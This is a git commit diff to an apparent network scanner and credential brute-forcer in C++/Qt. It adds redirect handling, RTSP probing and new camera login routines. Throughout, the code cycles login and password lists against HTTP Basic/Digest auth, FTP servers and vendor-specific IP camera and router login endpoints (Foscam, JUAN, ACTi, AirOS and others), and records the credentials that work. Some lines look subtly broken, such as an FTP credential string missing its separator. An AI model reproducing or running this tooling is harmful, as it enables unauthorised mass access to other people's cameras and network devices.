Location redirector fix. Several cameras support added.

This commit is contained in:
cora32 2016-01-31 23:09:42 +03:00
parent baefcabbda
commit d0d97cfda0
19 changed files with 934 additions and 815 deletions

View File

@ -1,5 +1,4 @@
#include "BasicAuth.h"
#include "FileUpdater.h"
int BA::checkOutput(const string *buffer, const char *ip, const int port) {
if((Utils::ustrstr(*buffer, "200 ok") != -1 ||
@ -45,7 +44,40 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
return 0;
}
lopaStr BA::BABrute(const char *ip, const int port) {
std::string getLocation(const std::string *buff) {
std::string buffLower = *buff;
std::transform(buffLower.begin(), buffLower.end(), buffLower.begin(), ::tolower);
int pos1 = buffLower.find("location: ");
if (-1 != pos1) {
std::string location = buff->substr(pos1 + 10, buff->find("\r\n", pos1) - pos1 - 10);
return location;
}
return "";
}
void setNewIP(const char *ipOrig, char *ip, std::string *buff, int size) {
strncpy(ip, ipOrig, size);
const std::string &location = getLocation(buff);
if (location.size() > 0) {
if (Utils::ustrstr(location, "http") != -1) {
strncpy(ip, location.c_str(), size);
}
else {
int ipLength = (int)strstr(ipOrig + 8, "/");
if (0 != ipLength) {
strncpy(ip, ipOrig, ipLength);
strncat(ip, location.c_str(), size - ipLength);
}
else {
strncat(ip, location.c_str(), size);
}
}
}
}
lopaStr BA::BABrute(const char *ipOrig, const int port, bool performDoubleCheck) {
bool digestMode = true;
string lpString;
lopaStr lps = {"UNKNOWN", "", ""};
@ -56,22 +88,63 @@ lopaStr BA::BABrute(const char *ip, const int port) {
std::string buff;
Connector con;
int sz = con.nConnect(ip, port, &buff);
//QString ipString = QString(ip).mid(0, QString(ip).indexOf("/", 8)) + ":" + QString::number(port);
QString ipString = QString(ip);
if (sz == 0) {
//Retry
Sleep(2000);
int sz = con.nConnect(ipOrig, port, &buff);
char ip[256] = { 0 };
if (sz == 0) {
if (performDoubleCheck) {
//Retry
Sleep(gTimeOut);
sz = con.nConnect(ip, port, &buff);
if (sz == 0) {
Sleep(gTimeOut);
sz = con.nConnect(ip, port, &buff);
if (sz == 0) {
QString ipString = QString(ip);
stt->doEmitionFoundData("<span style=\"color:orange;\">Empty BA probe - <a style=\"color:orange;\" href=\"" + ipString + "/\">" + ipString + "</a></span>");
return lps;
}
else {
setNewIP(ipOrig, ip, &buff, 256);
}
}
else {
setNewIP(ipOrig, ip, &buff, 256);
}
}
else {
QString ipString = QString(ip);
stt->doEmitionFoundData("<span style=\"color:orange;\">Empty BA probe - <a style=\"color:orange;\" href=\"" + ipString + "/\">" + ipString + "</a></span>");
return lps;
}
}
else {
setNewIP(ipOrig, ip, &buff, 256);
}
int isDig = Utils::isDigest(&buff);
if (isDig == -1) {
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 found - <a style=\"color:orange;\" href=\"" + ipString + "/\">" +
ipString + "</a></span>");
if (performDoubleCheck) {
Sleep(gTimeOut);
int sz = con.nConnect(ip, port, &buff);
isDig = Utils::isDigest(&buff);
if (isDig == -1) {
Sleep(gTimeOut);
int sz = con.nConnect(ip, port, &buff);
isDig = Utils::isDigest(&buff);
if (isDig == -1) {
QString ipString = QString(ip);
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 found - <a style=\"color:orange;\" href=\"" + ipString + "/\">" + ipString + "</a></span>");
return lps;
}
}
}
else {
QString ipString = QString(ip);
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 found - <a style=\"color:orange;\" href=\"" + ipString + "/\">" + ipString + "</a></span>");
return lps;
}
}
else if (isDig == 1) digestMode = true;
else digestMode = false;
@ -99,7 +172,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
if (res == -2) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
nesca_3::addBARow(QString(ip), "--", "404");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "404");
@ -113,7 +186,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
}
if (res == 1) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
nesca_3::addBARow(QString(ip), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
@ -127,7 +200,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
rowIndex = nesca_3::addBARow(QString(ip),
QString(loginLst[i]) + ":" + QString(passLst[j]),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
@ -143,7 +216,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
}
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
nesca_3::addBARow(QString(ip), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
@ -151,7 +224,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
return lps;
}
lopaStr BA::BALobby(const char *ip, const int port) {
lopaStr BA::BALobby(const char *ip, const int port, bool performDoubleCheck) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
@ -159,7 +232,7 @@ lopaStr BA::BALobby(const char *ip, const int port) {
++baCount;
++BrutingThrds;
stt->doEmitionUpdateArc(gTargets);
const lopaStr &lps = BABrute(ip, port);
const lopaStr &lps = BABrute(ip, port, performDoubleCheck);
--BrutingThrds;
return lps;

View File

@ -8,11 +8,11 @@
class BA {
private:
static lopaStr BABrute(const char *ip, const int port);
static lopaStr BABrute(const char *ip, const int port, bool performDoubleCheck);
public:
static int checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr BALobby(const char *ip, const int port);
static lopaStr BALobby(const char *ip, const int port, bool performDoubleCheck);
};
#endif // BASICAUTH_H

View File

@ -97,10 +97,18 @@ int my_trace(CURL *handle, curl_infotype type,
void *userp)
{
if (type == CURLINFO_HEADER_OUT) {
data[size] = '\0';
Activity += strlen(data);
stt->doEmitionAddOutData(QString(data));
//data[size] = '\0';
//Activity += strlen(data);
QString qData = QString(data);
Activity += qData.length();
stt->doEmitionAddOutData(qData);
data[0] = '\0';
}
//else if (type == CURLINFO_HEADER_IN) {
// QString qData = QString(data);
// Activity += qData.length();
// stt->doEmitionAddIncData("", qData);
//}
return 0;
}
@ -147,7 +155,7 @@ int pConnect(const char* ip, const int port, std::string *buffer,
struct data config;
config.trace_ascii = 1; /* enable ascii tracing */
curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
//curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
}
curl_easy_setopt(curl, CURLOPT_URL, ip);
@ -166,6 +174,7 @@ int pConnect(const char* ip, const int port, std::string *buffer,
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, "");
if (postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
@ -200,8 +209,6 @@ int pConnect(const char* ip, const int port, std::string *buffer,
curl_easy_cleanup(curl);
if (res == CURLE_OK || (port == 21 && sz > 0)) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += sz;
return sz;
}
else if (res == CURLE_LOGIN_DENIED && port == 21) {
@ -241,19 +248,12 @@ int pConnect(const char* ip, const int port, std::string *buffer,
return -2;
}
else if (res == 8) {
stt->doEmitionFoundData("Strange ftp reply. (" +
QString::number(res) + ") " + QString(ip) +
":" + QString::number(port));
return -2;
}
else if (res == 18) {
stt->doEmitionFoundData("Inappropriate file size. (" +
QString::number(res) + ") " + QString(ip) +
":" + QString::number(port));
return -2;
}
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
QString(ip) + ":" + QString::number(port));
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " + QString(ip));
};
//if (res == 23 && sz > 0) {
@ -263,6 +263,140 @@ int pConnect(const char* ip, const int port, std::string *buffer,
//else return -1;
}
return sz;
}
else {
stt->doEmitionRedFoundData("Curl error.");
return -1;
};
}
int pConnectRTSP(const char* ip, const int port, std::string *buffer, const std::string *lpString)
{
buffer->clear();
int res = 0;
CURL *curl = curl_easy_init();
if (curl != NULL)
{
//curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
if (MapWidgetOpened) {
struct data config;
config.trace_ascii = 1; /* enable ascii tracing */
curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
}
char newIP[128] = {0};
strcpy(newIP, "rtsp://");
strncat(newIP, ip, 96);
strcat(newIP, "/ch1/main");
/*int y = curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);
y = curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
y = curl_easy_setopt(curl, CURLOPT_HEADERDATA, stdout);*/
//curl_easy_setopt(curl, CURLOPT_URL, newIP);
//curl_easy_setopt(curl, CURLOPT_PORT, port);
curl_easy_setopt(curl, CURLOPT_RTSP_STREAM_URI, newIP);
//y = curl_easy_setopt(curl, CURLOPT_RTSP_REQUEST, (long)CURL_RTSPREQ_OPTIONS);
//int y = curl_easy_setopt(curl, CURLOPT_URL, ip);
//y = curl_easy_setopt(curl, CURLOPT_RTSP_STREAM_URI, ip);
//curl_easy_setopt(curl, CURLOPT_PORT, port);
/*y = curl_easy_setopt(curl, CURLOPT_RTSP_REQUEST, (long)CURL_RTSPREQ_OPTIONS);
res = curl_easy_perform(curl);
y = curl_easy_setopt(curl, CURLOPT_RTSP_REQUEST, (long)CURL_RTSPREQ_DESCRIBE);*/
res = curl_easy_perform(curl);
//curl_easy_setopt(curl, CURLOPT_RTSP_REQUEST, (long)CURL_RTSPREQ_DESCRIBE);
//curl_easy_setopt(curl, CURLOPT_USERAGENT,
// "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
//curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
//curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
//curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
//curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
//curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
//curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
//int proxyPort = std::atoi(gProxyPort);
//if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
//curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
////curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
//curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
//curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
//if (lpString != NULL) {
// curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L);
// //curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L);
// curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str());
// //curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
// res = curl_easy_perform(curl);
// /*if (digestMode)
// {
// curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
// res = curl_easy_perform(curl);
// if (port != 21 && lpString != NULL) {
// int pos = Utils::ustrstr(*buffer, "\r\n\r\n");
// if (pos != -1) {
// *buffer = buffer->substr(pos + 4);
// }
// }
// }
// else res = curl_easy_perform(curl);*/
//}
//else res = curl_easy_perform(curl);
int sz = buffer->size();
curl_easy_cleanup(curl);
if (res == CURLE_OK || (port == 21 && sz > 0)) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += sz;
return sz;
}
else if (res == CURLE_LOGIN_DENIED && port == 21) {
return -1;
}
else if (res == CURLE_OPERATION_TIMEDOUT
|| res == CURLE_COULDNT_CONNECT
|| res == CURLE_SEND_ERROR
|| res == CURLE_RECV_ERROR
) {
SOCKET eNobuffSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
shutdown(eNobuffSocket, SD_BOTH);
closesocket(eNobuffSocket);
if (ENOBUFS == eNobuffSocket || ENOMEM == eNobuffSocket) {
stt->doEmitionRedFoundData("Insufficient buffer/memory space. Sleeping for 10 sec...");
Sleep(10000);
}
return -1;
}
else {
if (res == 6) return -2;
else if (res != 13 &&
res != 67 &&
res != 52 &&
res != 56 &&
res != 35 &&
res != 19 &&
res != 23)
{
if (res == 5) {
stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
return -2;
}
else if (res == 8) {
stt->doEmitionFoundData("Strange ftp reply. (" +
QString::number(res) + ") " + QString(ip));
return -2;
}
else if (res == 18) {
return -2;
}
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " + QString(ip));
};
return sz;
}
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
return sz;
@ -295,10 +429,21 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
const char *postData,
const std::vector<std::string> *customHeaders,
const std::string *lpString,
bool digestMode){
int res = pConnect(ip, port, buffer, postData, customHeaders, lpString, digestMode);
bool digestMode,
bool isRTSP){
int res = 0;
if (!isRTSP) {
res = pConnect(ip, port, buffer, postData, customHeaders, lpString, digestMode);
}
else {
res = pConnectRTSP(ip, port, buffer, lpString);
}
cutoutComments(buffer);
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += buffer->size();
return res;
}
@ -402,8 +547,8 @@ bool portCheck(const char * sDVRIP, int wDVRPort) {
else {
if (gNegDebugMode)
{
stt->doEmitionDebugFoundData("Port check succeeded (curl_code: " + QString::number(res) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
stt->doEmitionDebugFoundData("Port check succeeded (curl_code: " + QString::number(res) + ") [<a href=\"" + QString(sDVRIP) +
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + "</font></a>]");
}
return true;
}
@ -429,15 +574,18 @@ int Connector::connectToPort(char* ip, int port)
char tempIp[128] = { 0 };
int sz = strlen(ip);
if (443 == port) {
strcpy(tempIp, "https://");
sprintf(tempIp, "https://%s:%d", ip, port);
//strcpy(tempIp, "https://");
}
else if (21 == port) {
strcpy(tempIp, "ftp://");
//strcpy(tempIp, "ftp://");
sprintf(tempIp, "ftp://%s:%d", ip, port);
}
else {
strcpy(tempIp, "http://");
//strcpy(tempIp, "http://");
sprintf(tempIp, "http://%s:%d", ip, port);
}
strncat(tempIp, ip, sz > 119 ? 119 : sz);
//strncat(tempIp, ip, sz > 96 ? 96 : sz);
if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
@ -448,7 +596,7 @@ int Connector::connectToPort(char* ip, int port)
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(tempIp, port, &buffer, size, &lx);
lx.filler(tempIp, ip, port, &buffer, size, &lx);
}
else if (size == -2) return -2;
} else {
@ -456,7 +604,7 @@ int Connector::connectToPort(char* ip, int port)
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(ip, port, &buffer, size, &lx);
lx.filler(ip, ip, port, &buffer, size, &lx);
};
}
return 0;

View File

@ -38,7 +38,8 @@ public:
const char *postData = NULL,
const std::vector<std::string> *customHeaders = NULL,
const std::string *lpString = NULL,
bool digestMode = false);
bool digestMode = false,
bool isRTSP = false);
int connectToPort(char *ip, int port);
};
#endif // CONNECTOR_H

View File

@ -34,13 +34,14 @@ int MakePolygonLine(int gWidth)
fact7 = 0;
bool state = stt->isRunning();
for(int i = 1; i < 130; ++i)
int activityVal = log(1 + Activity)/3 + 2;
for(int i = 1; i < 136; ++i)
{
x = qrand() % 4 + i;
xtx = x + tx;
if(xtx > 1 && xtx < 31)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % activityVal + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
if (camerasC1 > 0)
{
if(xtx < 16 ) fact1+=2;
@ -50,7 +51,7 @@ int MakePolygonLine(int gWidth)
if(xtx > 34 && xtx < 72)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % activityVal + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
if(/*WF*/0 > 0)
{
@ -61,7 +62,7 @@ int MakePolygonLine(int gWidth)
if(xtx > 74 && xtx < 112)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - baCount * 2 - fact3 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % activityVal + ME2YPOS - baCount * 2 - fact3 : ME2YPOS);
if (baCount > 0)
{
@ -72,7 +73,7 @@ int MakePolygonLine(int gWidth)
if(xtx > 114 && xtx < 152)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % activityVal + ME2YPOS - other * 2 - fact4 : ME2YPOS);
if (other > 0)
{
@ -83,7 +84,7 @@ int MakePolygonLine(int gWidth)
if(xtx > 154 && xtx < 192)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Overl * 2 - fact5 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % activityVal + ME2YPOS - Overl * 2 - fact5 : ME2YPOS);
if(Overl > 0)
{
@ -94,7 +95,7 @@ int MakePolygonLine(int gWidth)
if(xtx > 194 && xtx < 232)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % activityVal + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
if(/*Lowl*/0 > 0)
{
@ -105,7 +106,7 @@ int MakePolygonLine(int gWidth)
if(xtx > 234 && xtx < 278)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Alive * 2 - fact7 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % activityVal + ME2YPOS - Alive * 2 - fact7 : ME2YPOS);
if(Alive > 0)
{

View File

@ -37,13 +37,14 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
strcpy(pass, ftpPassLst[j]);
if (strlen(pass) <= 1) continue;
lpString = string(login) + ":" + string(pass);
lpString = string(login)
+ string(pass);
Connector con;
res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
nesca_3::addBARow(QString(ip), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
@ -57,7 +58,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
nesca_3::addBARow(QString(ip), QString(login) + ":" + QString(pass), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
@ -68,7 +69,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
rowIndex = nesca_3::addBARow(QString(ip),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
}
@ -84,7 +85,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
}
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
nesca_3::addBARow(QString(ip), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");

View File

@ -3,7 +3,7 @@
#include "BruteUtils.h"
#include "FileUpdater.h"
lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC, const std::string *cookie)
{
lopaStr lps = {"UNKNOWN", "", ""};
bool result = true;
@ -83,6 +83,14 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
negVector.push_back("errno=\"4\"");
}
else if (strcmp(SPEC, "ACTi") == 0)
{
negVector.push_back("ERROR: ");
}
else if (strcmp(SPEC, "AirOS") == 0)
{
negVector.push_back("Invalid credentials");
}
else
{
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
@ -112,90 +120,129 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
request[0] = 0;
if(strcmp(SPEC, "IPC") == 0)
{
sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
ip, port, login, login, pass, pass);
sprintf(request, "%s/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
ip, login, login, pass, pass);
}
else if(strcmp(SPEC, "GEO") == 0)
{
sprintf(request, "%s:%d/Login.cgi?username=%s&password=%s",
ip, port, login, pass);
sprintf(request, "%s/Login.cgi?username=%s&password=%s",
ip, login, pass);
}
else if(strcmp(SPEC, "EasyCam") == 0)
{
sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
ip, port, login, login, pass, pass);
sprintf(request, "%s/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
ip, login, login, pass, pass);
}
else if(strcmp(SPEC, "Foscam") == 0)
{
sprintf(request, "%s:%d/cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s",
ip, port, login, pass, login, pass);
sprintf(request, "%s/cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s",
ip, login, pass, login, pass);
}
else if(strcmp(SPEC, "AVIOSYS") == 0)
{
sprintf(request, "%s:%d/check_user.html?UserName=%s&PassWord=%s",
ip, port, login, pass);
sprintf(request, "%s/check_user.html?UserName=%s&PassWord=%s",
ip, login, pass);
}
else if(strcmp(SPEC, "IPCAM") == 0)
{
sprintf(request, "%s:%d/cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831",
ip, port, login, pass);
sprintf(request, "%s/cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831",
ip, login, pass);
}
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
{
doPost = true;
sprintf(request, "%s:%d/logincheck.rsp?type=1", ip, port);
sprintf(request, "%s/logincheck.rsp?type=1", ip);
sprintf(postData, "username=%s&userpwd=%s", login, pass);
}
else if(strcmp(SPEC, "BUFFALO") == 0)
{
doPost = true;
sprintf(request, "%s:%d/rpc/login", ip, port);
sprintf(request, "%s/rpc/login", ip);
sprintf(postData, "user=%s&password=%s", login, pass);
}
else if (strcmp(SPEC, "DVS") == 0)
{
doPost = true;
sprintf(request, "%s:%d/login", ip, port);
sprintf(request, "%s/login", ip);
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
}
else if (strcmp(SPEC, "MASPRO") == 0)
{
doPost = true;
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
sprintf(request, "%s/setup_login.cgi", ip);
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
}
else if (strcmp(SPEC, "WEBCAMXP") == 0)
{
doPost = true;
sprintf(request, "%s:%d/login.html", ip, port);
sprintf(request, "%s/login.html", ip);
sprintf(postData, "username=%s&password=%s&Redir=/", login, pass);
}
else if (strcmp(SPEC, "JASSUN") == 0)
{
doPost = true;
sprintf(request, "%s:%d/Login.htm", ip, port);
sprintf(request, "%s/Login.htm", ip);
sprintf(postData, "command=login&username=%s&password=%s", login, pass);
}
else if (strcmp(SPEC, "BEWARD") == 0)
{
sprintf(request, "%s:%d/webs/httplogin?username=%s&password=%s&UserID=45637757",
ip, port, login, pass);
sprintf(request, "%s/webs/httplogin?username=%s&password=%s&UserID=45637757",
ip, login, pass);
}
else if (strcmp(SPEC, "JUAN") == 0)
{
//sprintf(request, "%s:%d/cgi-bin/gw.cgi?xml=<juan ver=\"\" squ=\"\" dir=\"\"><envload type=\"0\" usr=\"%s\" pwd=\"%s\"/></juan>&_=1450923182693",
sprintf(request, "%s:%d/cgi-bin/gw.cgi?xml=%%3Cjuan%%20ver=%%22%%22%%20squ=%%22%%22%%20dir=%%22%%22%%3E%%3Cenvload%%20type=%%220%%22%%20usr=%%22%s%%22%%20pwd=%%22%s%%22/%%3E%%3C/juan%%3E&_=1450923182693",
ip, port, login, pass);
sprintf(request, "%s/cgi-bin/gw.cgi?xml=%%3Cjuan%%20ver=%%22%%22%%20squ=%%22%%22%%20dir=%%22%%22%%3E%%3Cenvload%%20type=%%220%%22%%20usr=%%22%s%%22%%20pwd=%%22%s%%22/%%3E%%3C/juan%%3E&_=1450923182693",
ip, login, pass);
}
else if (strcmp(SPEC, "ACTi") == 0)
{
doPost = true;
sprintf(request, "%s/cgi-bin/videoconfiguration.cgi", ip);
sprintf(postData, "LOGIN_ACCOUNT=%s&LOGIN_PASSWORD=%s", login, pass);
}
else if (strcmp(SPEC, "AirOS") == 0)
{
doPost = true;
sprintf(request, "%s/login.cgi", ip);
char tempPostData[1024] = { 0 };
int cl = 341 + strlen(login) + strlen(pass);
sprintf(tempPostData, "-----------------------------170381307613422\r\n\
Content-Disposition: form-data; name=\"uri\"\r\n\
\r\n\
/\r\n\
-----------------------------170381307613422\r\n\
Content-Disposition: form-data; name=\"username\"\r\n\
\r\n\
%s\r\n\
-----------------------------170381307613422\r\n\
Content-Disposition: form-data; name=\"password\"\r\n\
\r\n\
%s\r\n\
-----------------------------170381307613422--\
\r\n", login, pass);
sprintf(postData, "Content-Type: multipart/form-data; boundary=---------------------------170381307613422\r\n\
Content-Length: %d\r\n\r\n\
%s", cl, tempPostData);
}
std::string buffer;
if (cookie->size() > 0) {
std::vector<std::string> cookieHeader{ *cookie };
Connector con;
if (doPost) res = con.nConnect(request, port, &buffer, postData, &cookieHeader);
else res = con.nConnect(request, port, &buffer, NULL, &cookieHeader);
}
else {
Connector con;
if (doPost) res = con.nConnect(request, port, &buffer, postData);
else res = con.nConnect(request, port, &buffer);
}
if (res == -2) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
nesca_3::addBARow(QString(ip), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
@ -218,7 +265,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
strcpy(lps.pass, passLst[j]);
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
nesca_3::addBARow(QString(ip), QString(login) + ":" + QString(pass), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
@ -227,10 +274,13 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
return lps;
};
}
else {
return lps;
}
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
rowIndex = nesca_3::addBARow(QString(ip),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
@ -245,7 +295,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
};
};
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
nesca_3::addBARow(QString(ip), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
@ -253,14 +303,14 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
return lps;
}
lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC, const std::string *cookie) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
++BrutingThrds;
stt->doEmitionUpdateArc(gTargets);
lopaStr lps = IPCBrute(ip, port, SPEC);
lopaStr lps = IPCBrute(ip, port, SPEC, cookie);
--BrutingThrds;
return lps;

View File

@ -9,7 +9,7 @@ private:
bool doPost;
char postData[1024];
private:
lopaStr IPCBrute(const char *ip, int port, char *SPEC);
lopaStr IPCBrute(const char *ip, int port, char *SPEC, const std::string *cookie);
public:
IPC() {
@ -18,7 +18,7 @@ public:
postData[0] = 0;
}
lopaStr IPCLobby(const char *ip, int port, char *SPEC);
lopaStr IPCLobby(const char *ip, int port, char *SPEC, const std::string *cookie);
};
#endif // IPCAUTH_H

View File

